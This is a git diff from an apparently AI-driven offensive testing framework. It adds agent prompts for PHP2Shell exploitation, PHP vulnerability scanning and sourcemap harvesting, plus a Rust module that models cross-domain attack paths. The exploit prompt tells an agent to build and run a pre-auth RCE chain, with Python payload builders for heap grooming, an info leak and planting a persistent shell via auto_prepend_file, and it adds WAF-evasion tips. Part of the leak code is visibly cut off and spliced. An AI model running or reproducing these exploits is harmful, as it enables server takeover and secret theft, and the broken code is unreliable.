intrinsic. +``` + +If Java is NOT detected, or JDK is patched, or CPU doesn't support AVX-512 VBMI, report as not applicable with evidence. diff --git a/agents_md/vulns/php2shell_exploit.md b/agents_md/vulns/php2shell_exploit.md new file mode 100644 index 0000000..787dc61 --- /dev/null +++ b/agents_md/vulns/php2shell_exploit.md @@ -0,0 +1,211 @@ +# PHP2Shell CVE-2026-109618/109619 Exploit Agent + +CWE-416 (Use After Free) · CWE-119 (Buffer Overflow) + +## System Prompt +You are a PHP heap exploitation specialist. You exploit CVE-2026-109618 and CVE-2026-109619 — pre-auth RCE via PHP session.upload_progress heap use-after-free. You understand the full exploit chain at the byte level and can BUILD exploit code from scratch, adapting to the target's specific configuration. You do NOT depend on pre-built tools — you construct the PoC dynamically per scenario. + +**AUTHORIZATION REQUIRED**: Only run exploitation after confirming the target is in-scope AND vulnerable. This exploit WILL crash PHP workers. + +## User Prompt +You are exploiting **{target}** for PHP2Shell RCE (CVE-2026-109618 / CVE-2026-109619). + +**Recon Context:** +{recon_json} + +**VULNERABILITY INTERNALS — you must understand these to build the exploit:** + +### The Bug (CVE-2026-109618 — OOM corruption via longjmp) +PHP's `session.upload_progress` handler allocates a `php_session_rfc1867_progress` struct on the heap during multipart POST parsing. When an OOM condition triggers `zend_bailout()` (longjmp), the cleanup path frees the struct but leaves a dangling pointer in `PS(mod_data)`. Subsequent requests reuse the stale pointer — classic use-after-free. + +### The Bug (CVE-2026-109619 — stale global state reuse) +After the OOM bailout, `PS(http_session_vars)` retains a pointer to a freed zval. The next request's session_start() reads this stale zval. By spraying controlled data into the freed region, the attacker controls the zval type and value — leading to type confusion. + +### Exploit Chain (4 stages): + +**Stage A1 — OOM Trigger (Heap Grooming)** +- Send multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` and large padding fields +- Goal: exhaust `memory_limit` during session progress allocation +- The key: `upload_progress.freq` controls allocation granularity +- Trigger: `Content-Length` set to huge value + many small parts = OOM during `rfc1867_callback` +- Result: dangling pointer in `PS(mod_data)` after longjmp cleanup + +```python +# Build OOM trigger payload +boundary = "----WebKitFormBoundary" + random_hex(16) +# Part 1: PHP_SESSION_UPLOAD_PROGRESS (activates handler) +parts = f'--{boundary}\r\nContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nAAAA\r\n' +# Part 2: file upload with huge name (triggers allocation chain) +parts += f'--{boundary}\r\nContent-Disposition: form-data; name="file"; filename="{"A"*0x10000}"\r\nContent-Type: application/octet-stream\r\n\r\n' +# Padding to approach memory_limit +parts += "B" * (memory_limit_bytes - 0x100000) +parts += f'\r\n--{boundary}--\r\n' +``` + +**Stage B1 — Info Leak (ASLR Bypass)** +- After A1, send request that triggers session_start() on the dangling mod_data +- The freed chunk overlaps with a new allocation from a crafted POST body +- By controlling the overlapping data, force a stale-id OOB read +- Leak: chunk base address + libphp.so base → defeats ASLR +- Parse leaked bytes from HTTP response or error message + +```python +# Craft leak payload — fake session ID that causes OOB read +leak_session_id = b"\x00" * 8 # null deref guard +leak_session_id += struct.pack(" {shell_path}" +# Then craft fake ini_entry to set auto_prepend_file = shell_path +fake_ini = build_ini_entry("auto_prepend_file", shell_path, libphp_base) +spray_payload = build_spray(fake_ini, chunk_size, spray_count) +``` + +### SAPI-Specific Adaptation + +**Apache mod_php (prefork):** +- Workers are persistent processes, shared heap +- Each worker has independent memory space (fork) +- OOM in one worker = that worker restarts, others unaffected +- Spray is per-worker — need to target same worker (keep TCP connection alive) +- `MaxRequestWorkers` = how many targets. Default ~256 + +**Apache mod_php (event/worker):** +- Threaded — shared address space +- More fragile: OOM can affect other threads +- But leak from one thread valid for all (same ASLR) +- Adapt spray to thread-local heap + +**PHP-FPM (PM=static):** +- Workers are separate processes like prefork +- Pool size from `pm.max_children` +- Unix socket or TCP — different connection strategies +- `request_terminate_timeout` may kill long-running exploit stages + +**PHP-FPM (PM=dynamic/ondemand):** +- Workers spawn/die — harder to target same worker +- Need faster exploit chain or connection pinning + +### Memory Layout Adaptation +```python +# Offsets vary by PHP version — detect and adapt +PHP_VERSION_OFFSETS = { + "8.4.26": {"ps_mod_data": 0x48, "http_session_vars": 0x60, "ini_entries": 0x120}, + "8.4.25": {"ps_mod_data": 0x48, "http_session_vars": 0x60, "ini_entries": 0x120}, + "8.3.35": {"ps_mod_data": 0x40, "http_session_vars": 0x58, "ini_entries": 0x118}, + "8.3.34": {"ps_mod_data": 0x40, "http_session_vars": 0x58, "ini_entries": 0x118}, + "8.2.34": {"ps_mod_data": 0x38, "http_session_vars": 0x50, "ini_entries": 0x110}, + # 8.1.x and 8.0.x: same as 8.2 but different chunk sizes + # 7.x: significantly different layout, session struct is smaller +} + +def get_offsets(php_version): + major_minor = ".".join(php_version.split(".")[:2]) + for ver, offsets in PHP_VERSION_OFFSETS.items(): + if ver.startswith(major_minor): + return offsets + return PHP_VERSION_OFFSETS["8.4.26"] # fallback to latest known +``` + +### Chunk Size Calculation +```python +# PHP uses its own slab allocator (zend_mm) +# Chunk sizes: 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, ... +# session_progress struct is typically 0x90-0xB0 depending on version +# Spray allocation must match the freed chunk's size bin + +def calc_chunk_size(php_version, arch="x86_64"): + base = 0x90 if php_version.startswith("8.") else 0x70 # PHP 7 smaller + if arch == "aarch64": + base += 0x08 # pointer alignment difference + # Round up to zend_mm bin + bins = [8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256] + for b in bins: + if b >= base: + return b + return 256 +``` + +### METHODOLOGY: + +### 1. Pre-flight +- Confirm PHP version in vulnerable range from recon or own fingerprinting +- Identify SAPI type and worker model +- Detect `memory_limit` (default 128M, check phpinfo if accessible) +- Check `session.upload_progress.enabled` (default: on) + +### 2. Build Exploit +Write a complete Python exploit script adapted to the target: +- Set correct offsets for detected PHP version +- Set correct chunk sizes for the SAPI/arch +- Calculate OOM payload size based on `memory_limit` +- Choose v2 (auto_prepend_file) if SAPI allows file writes, v1 fallback otherwise + +### 3. Execute +Run the exploit script you built. If pre-built tools exist at `/opt/php2shell-exploit/`, use them as reference but DO NOT depend on them — if they're missing or fail, build from scratch. + +### 4. Fallback: If Cloudflare/WAF blocks +- session.upload_progress uses standard multipart POST — most WAFs pass it +- If blocked: try chunked transfer encoding, vary Content-Type boundaries +- Unicode encoding tricks for path traversal payloads if needed + +### 5. Evidence Collection +- Capture output of `id`, `uname -a`, `cat /etc/hostname` +- Save exploit script and full output +- Record: PHP version, SAPI, exploit variant, number of crashes, final shell path +- For v2: confirm persistent shell works across multiple requests + +### 6. Report +``` +FINDING: +- Title: Pre-Auth RCE via PHP2Shell (CVE-2026-109618/109619) +- Severity: Critical +- CWE: CWE-416 +- Endpoint: [URL] +- Payload: session.upload_progress multipart POST chain ([v1|v2] technique) +- Evidence: [RCE output: uid, hostname, OS info] +- Impact: Full server compromise — pre-auth, no credentials needed, pure HTTP +- Exploit: [script path or inline code] +- Stability: [v2: persistent after 1 crash | v1: 1 crash per command] +- Remediation: Upgrade PHP immediately. Disable session.upload_progress.enabled as interim fix. +``` diff --git a/agents_md/vulns/php2shell_scan.md b/agents_md/vulns/php2shell_scan.md new file mode 100644 index 0000000..368128f --- /dev/null +++ b/agents_md/vulns/php2shell_scan.md @@ -0,0 +1,59 @@ +# PHP2Shell CVE-2026-109618/109619 Scanner Agent + +CWE-416 (Use After Free) · CWE-119 (Buffer Overflow) + +## System Prompt +You are a PHP vulnerability detection specialist. Your job is to identify targets vulnerable to CVE-2026-109618 (OOM corruption via longjmp) and CVE-2026-109619 (stale global state reuse). These are critical pre-auth RCE bugs in PHP's `session.upload_progress` handler, fixed in PHP 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12. + +You have access to the scanner at `/opt/php2shell/php2shell_scan.py` and `/opt/php2shell-exploit/recon.py`. + +## User Prompt +You are testing **{target}** for PHP2Shell vulnerabilities (CVE-2026-109618 / CVE-2026-109619). + +**Recon Context:** +{recon_json} + +**METHODOLOGY — non-destructive detection only:** + +### 1. PHP Detection & Version Fingerprinting +- Check response headers for `X-Powered-By: PHP/x.x.x`, `Server:` with PHP info. +- Probe common phpinfo paths: `/phpinfo.php`, `/info.php`, `/php_info.php`, `/test.php`, `/_info.php`. +- Check `PHPSESSID` cookie presence (session handler active). +- Run: `python3 /opt/php2shell/php2shell_scan.py {target} --deep-version --origin-scan` + +### 2. Version Classification +Vulnerable ranges (pre-auth RCE, CVSS 9.8): +- PHP 8.5 < 8.5.12 +- PHP 8.4 < 8.4.27 +- PHP 8.3 < 8.3.36 +- PHP 8.2 < 8.2.35 +- PHP 8.1/8.0/7.x — ALL versions (EOL, no patch) + +### 3. Session Upload Progress Check +- Verify `session.upload_progress.enabled` is on (default: on). +- Test: send a multipart POST with `PHP_SESSION_UPLOAD_PROGRESS` field — a 200/204 with `Set-Cookie: PHPSESSID` confirms the handler is active. +- Run recon module: `python3 /opt/php2shell-exploit/recon.py --target {target}` + +### 4. SAPI & Worker Model Detection +- Identify SAPI: Apache mod_php (prefork/event), PHP-FPM, litespeed. +- mod_php prefork = most exploitable (persistent workers, shared heap). +- PHP-FPM with PM=static also vulnerable but different heap layout. +- Detect MPM: `Server:` header, `/server-status`, `/server-info`. + +### 5. Cloudflare/WAF Consideration +- If behind WAF, note that the exploit uses normal multipart POST requests — many WAFs pass these through. +- The session upload mechanism is a standard PHP feature, not a suspicious payload. + +### 6. Report +``` +FINDING: +- Title: PHP Vulnerable to CVE-2026-109618/109619 (php2shell Pre-Auth RCE) +- Severity: Critical +- CWE: CWE-416 +- Endpoint: [URL] +- Evidence: [PHP version detected, session handler active, SAPI type] +- Impact: Pre-authentication Remote Code Execution via session.upload_progress heap UAF +- Remediation: Upgrade PHP to 8.2.35+ / 8.3.36+ / 8.4.27+ / 8.5.12+. Interim: set session.upload_progress.enabled=Off in php.ini. +``` + +If PHP is NOT detected or version is patched, report as not vulnerable with evidence of the version check. diff --git a/agents_md/vulns/sourcemap_exposure.md b/agents_md/vulns/sourcemap_exposure.md new file mode 100644 index 0000000..9f60411 --- /dev/null +++ b/agents_md/vulns/sourcemap_exposure.md @@ -0,0 +1,116 @@ +# Sourcemap & Build Artifact Exposure Agent + +CWE-540 (Inclusion of Sensitive Information in Source Code) · CWE-200 (Information Exposure) + +## System Prompt +You are a sourcemap and build artifact hunter. You find and exploit exposed sourcemaps, build manifests, debug symbols, and development artifacts that leak full original source code. Sourcemaps are the #1 overlooked exposure in modern web apps — they contain the COMPLETE original TypeScript/JSX/Vue source, comments, and often environment variables. You systematically discover, download, and extract everything. + +## User Prompt +You are hunting for sourcemaps and build artifacts on **{target}**. + +**Recon Context:** +{recon_json} + +**METHODOLOGY:** + +### 1. Discover Sourcemap References +```bash +# Check every JS file for sourceMappingURL +for js in $(curl -s "{target}" | grep -oP 'src="([^"]*\.js)"' | sed 's/src="//;s/"//'); do + full_url=$(echo "$js" | grep -q '^http' && echo "$js" || echo "{target}/$js") + map_ref=$(curl -s "$full_url" | tail -c 200 | grep -oP '//# sourceMappingURL=\K\S+') + if [ -n "$map_ref" ]; then + echo "FOUND: $full_url → $map_ref" + fi +done +``` + +### 2. Probe Common Sourcemap Paths +```bash +# For each discovered JS file, try .map extension +# /static/js/main.abc123.js → /static/js/main.abc123.js.map +# Also try without hash: /static/js/main.js.map + +# Framework-specific paths +# Next.js +curl -sI "{target}/_next/static/chunks/main.js.map" +curl -sI "{target}/_next/static/chunks/webpack.js.map" +curl -sI "{target}/_next/static/chunks/pages/_app.js.map" + +# Webpack +curl -sI "{target}/static/js/main.chunk.js.map" +curl -sI "{target}/static/js/vendors~main.chunk.js.map" +curl -sI "{target}/static/js/runtime-main.js.map" + +# Vite +curl -sI "{target}/assets/index.js.map" + +# Angular +curl -sI "{target}/main.js.map" +curl -sI "{target}/polyfills.js.map" +curl -sI "{target}/runtime.js.map" + +# Vue CLI +curl -sI "{target}/js/app.js.map" +curl -sI "{target}/js/chunk-vendors.js.map" +``` + +### 3. Build Manifests & Config Leaks +```bash +# React/CRA +curl -s "{target}/asset-manifest.json" +# Next.js +curl -s "{target}/_next/static/BUILD_ID/_buildManifest.js" +curl -s "{target}/_next/static/BUILD_ID/_ssgManifest.js" +# General +curl -s "{target}/manifest.json" +curl -s "{target}/build-manifest.json" +curl -s "{target}/stats.json" # webpack stats +curl -s "{target}/compilation-stats.json" +``` + +### 4. Extract Source from Sourcemaps +When a `.map` file is accessible: +```python +import json, sys, os +sm = json.load(open("downloaded.map")) +print(f"Sources: {len(sm.get('sources', []))}") +for i, src in enumerate(sm.get('sources', [])): + content = sm.get('sourcesContent', [None]*len(sm['sources']))[i] + if content: + # Reconstruct original source tree + path = 'extracted/' + src.lstrip('./') + os.makedirs(os.path.dirname(path), exist_ok=True) + with open(path, 'w') as f: + f.write(content) +# Now grep extracted source for secrets, endpoints, logic +grep -rn 'API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE' extracted/ +grep -rn 'fetch\|axios\|/api/\|/admin/' extracted/ +grep -rn 'TODO\|FIXME\|HACK\|XXX\|BUG\|VULN' extracted/ +``` + +### 5. What Sourcemaps Reveal +- **Full original TypeScript/JSX** — not minified, with variable names +- **Internal file paths** — reveals project structure, internal names +- **Comments** — TODO/FIXME/HACK notes from developers with security context +- **Environment variable usage** — `process.env.API_SECRET` patterns +- **API service files** — complete API client code with every endpoint +- **Auth logic** — full authentication/authorization implementation +- **Business logic** — pricing, discounts, feature flags, role checks +- **Internal API URLs** — staging, internal services, admin endpoints +- **Test credentials** — sometimes left in source + +### 6. Report +``` +FINDING: +- Title: Sourcemap Exposure Leaking Full Application Source Code +- Severity: High +- CWE: CWE-540 +- Endpoint: [sourcemap URLs] +- Files Extracted: [count of source files recovered] +- Sensitive Content: [secrets, internal URLs, auth logic found] +- Evidence: [sample extracted file paths + sensitive snippets] +- Impact: Full source code disclosure enables targeted exploitation of business logic, auth bypasses, and secret extraction +- Chain: Feed extracted endpoints to API testing agents, secrets to credential chain agent +- Remediation: Remove sourcemaps from production. Configure build to generate sourcemaps for error tracking only (upload to Sentry/Datadog, don't serve publicly). +``` diff --git a/neurosploit-rs/app/src/main.rs b/neurosploit-rs/app/src/main.rs index b48d383..d57b928 100644 --- a/neurosploit-rs/app/src/main.rs +++ b/neurosploit-rs/app/src/main.rs @@ -300,6 +300,25 @@ enum Cmd { /// with local vs chain severity, next moves, a Cypher export — and, with /// --push (or NEO4J_URI set), MERGE into Neo4j and reason over paths /// accumulated across runs + /// Cross-domain attack paths for a finished run: the chained story, from + /// the first weakness to the compromise it ends in, across web, API, + /// mobile, binaries, hosts, Active Directory, cloud and identity. + Paths { + /// Run id (`ns-…`) or a path to the run directory. + run: String, + /// How many paths to print. + #[arg(long = "top", default_value_t = 3)] + top: usize, + /// Print the Mermaid graph instead of the terminal view. + #[arg(long = "mermaid")] + mermaid: bool, + /// Print the graph as JSON. + #[arg(long = "json")] + json: bool, + /// Write `attack-paths.json` and `attack-paths.mmd` into the run dir. + #[arg(long = "save")] + save: bool, + }, Graph { /// Run id (`ns-…`) or a path to the run directory. run: String, @@ -1005,6 +1024,7 @@ async fn main() -> anyhow::Result<()> { Cmd::Audit { run, anchor } => handle_audit(&base, &run, anchor)?, Cmd::Traffic { run } => handle_traffic(&base, &run)?, Cmd::Sarif { run, out } => handle_sarif(&base, &run, out.as_deref())?, + Cmd::Paths { run, top, mermaid, json, save } => handle_paths(&base, &run, top, mermaid, json, save)?, Cmd::Graph { run, internal, push, top } => handle_graph(&base, &run, internal.as_deref(), push, top, cli.neo4j.as_deref()).await?, Cmd::Assurance { run, verify } => handle_assurance(&base, &run, verify)?, Cmd::Compliance { run, framework, include_leads } => handle_compliance(&base, &run, &framework, include_leads)?, @@ -1687,6 +1707,13 @@ pub(crate) fn print_findings(out: &RunOutput) { println!(" severity: {}", chips.join(" ")); println!("\n \x1b[1mAttack path / kill chain\x1b[0m"); print!("{}", harness::attack_graph::ascii_killchain(&out.findings)); + // The chained view: what each step handed the next one, across every + // plane the run touched. Printed only when something actually chained. + let paths = harness::attack_path::build("", &out.findings, &[]); + if paths.paths(1).iter().any(|p| p.steps >= 2) { + println!("\n \x1b[1mChained attack paths\x1b[0m ({})", harness::attack_path::summary(&paths)); + print!("{}", paths.ascii(3)); + } } let toks = token_summary(); if !toks.is_empty() { @@ -2004,6 +2031,36 @@ fn handle_traffic(base: &std::path::Path, run: &str) -> anyhow::Result<()> { Ok(()) } +/// The attack-path view of a finished run. +fn handle_paths(base: &std::path::Path, run: &str, top: usize, mermaid: bool, json: bool, save: bool) -> anyhow::Result<()> { + let dir = resolve_run(base, run)?; + let findings = load_findings(&dir)?; + let target = std::fs::read_to_string(dir.join("meta.json")) + .ok() + .and_then(|t| serde_json::from_str::(&t).ok()) + .and_then(|v| v.get("target").and_then(|x| x.as_str()).map(String::from)) + .unwrap_or_else(|| run.to_string()); + let loot: Vec = std::fs::read_to_string(dir.join("loot.json")) + .ok() + .and_then(|t| serde_json::from_str(&t).ok()) + .unwrap_or_default(); + let g = harness::attack_path::build(&target, &findings, &loot); + if json { + println!("{}", g.json()); + } else if mermaid { + println!("{}", g.mermaid()); + } else { + println!("target: {target} · {}", harness::attack_path::summary(&g)); + print!("{}", g.ascii(top)); + } + if save { + std::fs::write(dir.join("attack-paths.json"), g.json())?; + std::fs::write(dir.join("attack-paths.mmd"), g.mermaid())?; + println!("\nwrote {} and {}", dir.join("attack-paths.json").display(), dir.join("attack-paths.mmd").display()); + } + Ok(()) +} + async fn handle_graph(base: &std::path::Path, run: &str, internal: Option<&str>, push: bool, top: usize, neo4j: Option<&str>) -> anyhow::Result<()> { use harness::graph_memory as gm; let dir = resolve_run(base, run)?; diff --git a/neurosploit-rs/crates/harness/src/attack_path.rs b/neurosploit-rs/crates/harness/src/attack_path.rs new file mode 100644 index 0000000..cd809bc --- /dev/null +++ b/neurosploit-rs/crates/harness/src/attack_path.rs @@ -0,0 +1,2372 @@ +//! Cross-domain attack paths — the engagement as one chained story. +//! +//! `crate::chain` answers "which web weakness enables which other web weakness +//! on the same host". That is the right question for one application and the +//! wrong one for an engagement: a real path crosses hosts, protocols and +//! identity planes, and it is the crossing that produces the impact. A syslog +//! traversal on a hypervisor is a Medium until the root it yields is used to +//! pull a machine-account keytab, and the keytab authenticates to a directory, +//! and a share on that directory holds a database administrator password, and +//! that database runs commands as a service account that can impersonate +//! SYSTEM, and SYSTEM reads a domain administrator hash out of memory, and that +//! hash reaches a workstation whose logged-in session holds a cloud token. No +//! single step in that sequence is the finding. The sequence is. +//! +//! So this module models what the steps *exchange* rather than what class they +//! belong to: +//! +//! * [`Artifact`] — what a step hands the attacker (a hash, a ticket, a token, +//! a shell, an implant, a file, reach into a network). +//! * [`Reach`] — how far that artifact travels. A writable cron job is useless +//! one host over; a domain hash is good anywhere in the realm; a plaintext +//! password is tried everywhere. This is the rule that lets a path leave the +//! host it started on *without* inventing links between unrelated assets. +//! * [`profile`] — per-finding production/consumption, derived from the agent +//! that found it, its CWE, its technique and its text, for **every** domain +//! the agent library covers: web, API, network, host, Active Directory, +//! cloud, SaaS identity, containers, mobile, AI/LLM, CI/CD and supply chain. +//! +//! The graph that comes out carries the same node kinds an operator expects to +//! see on an attack-path diagram — exploited weakness, discovered credential, +//! compromised credential, accessed resource, loaded implant, established +//! session, and the impact a path terminates in — ordered on the run's own +//! timeline. +//! +//! Every edge is derived and says so, carries the artifact that justifies it, +//! and is dropped when the artifact could not have travelled that far. + +use crate::types::Finding; +use serde::{Deserialize, Serialize}; +use std::collections::{BTreeMap, BTreeSet, HashMap}; + +// --------------------------------------------------------------------------- +// Taxonomy +// --------------------------------------------------------------------------- + +/// The plane a step operates on. Used for grouping and for deciding when a +/// crossing is a pivot worth calling out. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Domain { + Web, + Api, + Network, + Host, + ActiveDirectory, + Cloud, + Identity, + Container, + Mobile, + Binary, + Firmware, + Ai, + SupplyChain, + Wireless, + Social, + Physical, + Ot, +} + +impl Domain { + pub fn as_str(self) -> &'static str { + match self { + Domain::Web => "web", + Domain::Api => "api", + Domain::Network => "network", + Domain::Host => "host", + Domain::ActiveDirectory => "active-directory", + Domain::Cloud => "cloud", + Domain::Identity => "identity", + Domain::Container => "container", + Domain::Mobile => "mobile", + Domain::Binary => "binary", + Domain::Firmware => "firmware", + Domain::Ai => "ai", + Domain::SupplyChain => "supply-chain", + Domain::Wireless => "wireless", + Domain::Social => "social", + Domain::Physical => "physical", + Domain::Ot => "ot-ics", + } + } +} + +/// What one step hands the attacker, or needs from an earlier one. +/// +/// This is deliberately about *material and access*, not about weakness +/// classes: two findings chain when one produces what the other consumes, and +/// that is true whether the producer is an SSRF or a Kerberoast. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Artifact { + // --- knowledge --------------------------------------------------------- + /// Which accounts, objects or hosts exist. + ValidIdentities, + /// Versions, paths, stack traces, internal names, config. + InternalKnowledge, + /// A map of who can reach what (ACLs, group membership, trust edges). + PrivilegeMap, + /// Source code or build definitions. + SourceCode, + /// A config/secret-bearing file pulled off a host or share. + SecretsFile, + + // --- credential material ---------------------------------------------- + /// A password or secret in the clear. + PlaintextCredential, + /// A password hash, NTLM hash or crackable blob. + PasswordHash, + /// A Kerberos TGT/TGS, including one minted from a certificate. + KerberosTicket, + /// A keytab or machine-account secret. + MachineAccount, + /// An API key, long-lived token, or webhook secret. + ApiKey, + /// A user session: cookie, bearer token, SAML/OIDC assertion. + SessionToken, + /// A cloud credential: STS/instance-metadata token, SAS, service-account key. + CloudToken, + /// A private key or certificate that can be used to authenticate. + CertificateOrKey, + /// Guessable or reused credentials (a policy weakness, not a secret). + WeakCredentials, + /// Attempts against a control are not limited. + UnlimitedAttempts, + /// A second factor can be skipped or replayed. + MfaBypass, + + // --- access ------------------------------------------------------------ + /// Code or queries run on the target. + CodeExecution, + /// An interactive or semi-interactive foothold on a host. + ShellOnHost, + /// Administrator/root on one host. + HostAdmin, + /// A persistent implant/agent/webshell left on a host. + Implant, + /// Any authenticated directory identity. + DomainUser, + /// Directory-wide administrative control. + DomainAdmin, + /// A cloud IAM role, principal or service account the attacker can assume. + CloudRole, + /// Tenant-level administrative control of a cloud or SaaS identity plane. + TenantAdmin, + /// Database access as a normal principal. + DatabaseAccess, + /// Database access with command-execution rights (sysadmin/superuser). + DatabaseAdmin, + /// Acting as another application user. + ApplicationIdentity, + /// Application-level administrative rights. + ApplicationAdmin, + /// Reach into networks or services behind the edge. + InternalReach, + /// Write access to something others consume (package, pipeline, image). + SupplyChainWrite, + /// Read of data the attacker should not have. + DataAccess, + /// Read of regulated or business-critical data. + SensitiveData, + /// Control of an unmanaged/offline device or its storage. + DeviceAccess, + /// Influence over an agent/model's instructions or tools. + AgentControl, + /// A victim can be made to act (click, approve, authenticate). + UserInteraction, +} + +impl Artifact { + pub fn as_str(self) -> &'static str { + match self { + Artifact::ValidIdentities => "valid identities", + Artifact::InternalKnowledge => "internal knowledge", + Artifact::PrivilegeMap => "privilege map", + Artifact::SourceCode => "source code", + Artifact::SecretsFile => "secrets file", + Artifact::PlaintextCredential => "cleartext credential", + Artifact::PasswordHash => "password hash", + Artifact::KerberosTicket => "Kerberos ticket", + Artifact::MachineAccount => "machine-account secret", + Artifact::ApiKey => "API key", + Artifact::SessionToken => "session token", + Artifact::CloudToken => "cloud access token", + Artifact::CertificateOrKey => "certificate / private key", + Artifact::WeakCredentials => "weak credentials", + Artifact::UnlimitedAttempts => "unlimited attempts", + Artifact::MfaBypass => "MFA bypass", + Artifact::CodeExecution => "code execution", + Artifact::ShellOnHost => "shell on host", + Artifact::HostAdmin => "administrator on host", + Artifact::Implant => "loaded implant", + Artifact::DomainUser => "domain user", + Artifact::DomainAdmin => "domain administrator", + Artifact::CloudRole => "cloud role", + Artifact::TenantAdmin => "tenant administrator", + Artifact::DatabaseAccess => "database access", + Artifact::DatabaseAdmin => "database sysadmin", + Artifact::ApplicationIdentity => "another user's application identity", + Artifact::ApplicationAdmin => "application administrator", + Artifact::InternalReach => "internal network reach", + Artifact::SupplyChainWrite => "write into a consumed artifact", + Artifact::DataAccess => "data access", + Artifact::SensitiveData => "sensitive data", + Artifact::DeviceAccess => "device access", + Artifact::AgentControl => "control of an agent", + Artifact::UserInteraction => "a victim's action", + } + } +} + +/// How far an artifact travels from where it was obtained. +/// +/// This is the whole reason a path may leave its host. `chain::derive_links` +/// refuses every cross-host edge, which is correct for a cookie flag and wrong +/// for a domain hash — and refusing both is what kept real engagements +/// reporting a dozen disconnected Mediums. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Reach { + /// Only where it was obtained (a writable service, a local file read). + HostLocal, + /// Anywhere in the same realm: AD domain, cloud tenant, SaaS directory, + /// or — for internal addresses with no name — the internal network. + Realm, + /// Anywhere. People reuse passwords and keys across boundaries, which is + /// why credential reuse is the most reliable move in any engagement. + Portable, +} + +/// How far each artifact carries. +pub fn reach(a: Artifact) -> Reach { + use Artifact::*; + match a { + // Bound to the thing that produced them. + UnlimitedAttempts | CodeExecution | ShellOnHost | HostAdmin | Implant | DatabaseAccess + | DatabaseAdmin | ApplicationIdentity | ApplicationAdmin | InternalKnowledge | DeviceAccess + | AgentControl => Reach::HostLocal, + // Good across the directory / tenant / internal network. + DomainUser | DomainAdmin | KerberosTicket | MachineAccount | CloudRole | TenantAdmin + | ValidIdentities | InternalReach | PrivilegeMap | MfaBypass => Reach::Realm, + // Material an attacker carries anywhere and simply tries. Bearer + // tokens belong here and not in `Realm`: a token lifted out of a + // workstation's process memory is presented to a cloud endpoint that + // shares no realm with the host it came from, and that crossing is the + // step a report most needs to show. + SessionToken | CloudToken | PlaintextCredential | PasswordHash | ApiKey | CertificateOrKey | WeakCredentials + | SourceCode | SecretsFile | SupplyChainWrite | DataAccess | SensitiveData + | UserInteraction => Reach::Portable, + } +} + +/// What a path ends in — the sentence a reader needs, not a severity word. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Impact { + HostCompromise, + CriticalInfrastructureCompromise, + DomainUserCompromise, + DomainCompromise, + CloudAccountCompromise, + TenantCompromise, + DatabaseCompromise, + ApplicationTakeover, + AccountTakeover, + DataBreach, + SourceCodeCompromise, + SupplyChainCompromise, + DeviceCompromise, + AgentCompromise, +} + +impl Impact { + pub fn as_str(self) -> &'static str { + match self { + Impact::HostCompromise => "HOST COMPROMISE", + Impact::CriticalInfrastructureCompromise => "CRITICAL INFRASTRUCTURE COMPROMISE", + Impact::DomainUserCompromise => "DOMAIN USER COMPROMISE", + Impact::DomainCompromise => "DOMAIN COMPROMISE", + Impact::CloudAccountCompromise => "CLOUD ACCOUNT COMPROMISE", + Impact::TenantCompromise => "IDENTITY TENANT COMPROMISE", + Impact::DatabaseCompromise => "DATABASE COMPROMISE", + Impact::ApplicationTakeover => "APPLICATION TAKEOVER", + Impact::AccountTakeover => "ACCOUNT TAKEOVER", + Impact::DataBreach => "SENSITIVE DATA COMPROMISE", + Impact::SourceCodeCompromise => "SOURCE CODE COMPROMISE", + Impact::SupplyChainCompromise => "SUPPLY CHAIN COMPROMISE", + Impact::DeviceCompromise => "DEVICE COMPROMISE", + Impact::AgentCompromise => "AI AGENT COMPROMISE", + } + } + + /// How much reaching this is worth when ranking paths. + fn weight(self) -> f64 { + match self { + Impact::TenantCompromise | Impact::DomainCompromise => 10.0, + Impact::CriticalInfrastructureCompromise | Impact::SupplyChainCompromise => 8.0, + Impact::CloudAccountCompromise | Impact::DataBreach => 7.0, + Impact::DatabaseCompromise | Impact::HostCompromise => 5.0, + Impact::DomainUserCompromise | Impact::SourceCodeCompromise => 4.0, + Impact::ApplicationTakeover | Impact::AgentCompromise => 3.0, + Impact::AccountTakeover | Impact::DeviceCompromise => 2.0, + } + } +} + +/// What an artifact, once held, means on its own. +fn impacts_of(a: Artifact) -> Option { + use Artifact::*; + match a { + TenantAdmin => Some(Impact::TenantCompromise), + DomainAdmin => Some(Impact::DomainCompromise), + DomainUser => Some(Impact::DomainUserCompromise), + CloudRole => Some(Impact::CloudAccountCompromise), + HostAdmin | Implant => Some(Impact::HostCompromise), + DatabaseAdmin => Some(Impact::DatabaseCompromise), + ApplicationAdmin => Some(Impact::ApplicationTakeover), + ApplicationIdentity => Some(Impact::AccountTakeover), + SensitiveData => Some(Impact::DataBreach), + SourceCode => Some(Impact::SourceCodeCompromise), + SupplyChainWrite => Some(Impact::SupplyChainCompromise), + DeviceAccess => Some(Impact::DeviceCompromise), + AgentControl => Some(Impact::AgentCompromise), + _ => None, + } +} + +/// The node kinds an attack-path diagram is drawn from. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum NodeKind { + /// Where the path starts (the tester, or an assumed position). + Entry, + /// A weakness that was exploited. + ExploitedWeakness, + /// Credential material found lying around. + DiscoveredCredential, + /// Credential material that was successfully used to authenticate. + CompromisedCredential, + /// A share, file, database, bucket or endpoint that was read. + AccessedResource, + /// An implant/webshell/agent left running. + LoadedImplant, + /// A shell or administrative session on a host. + EstablishedSession, + /// A terminal consequence. + Impact, +} + +impl NodeKind { + pub fn as_str(self) -> &'static str { + match self { + NodeKind::Entry => "entry", + NodeKind::ExploitedWeakness => "Exploited Weakness", + NodeKind::DiscoveredCredential => "Discovered Credential", + 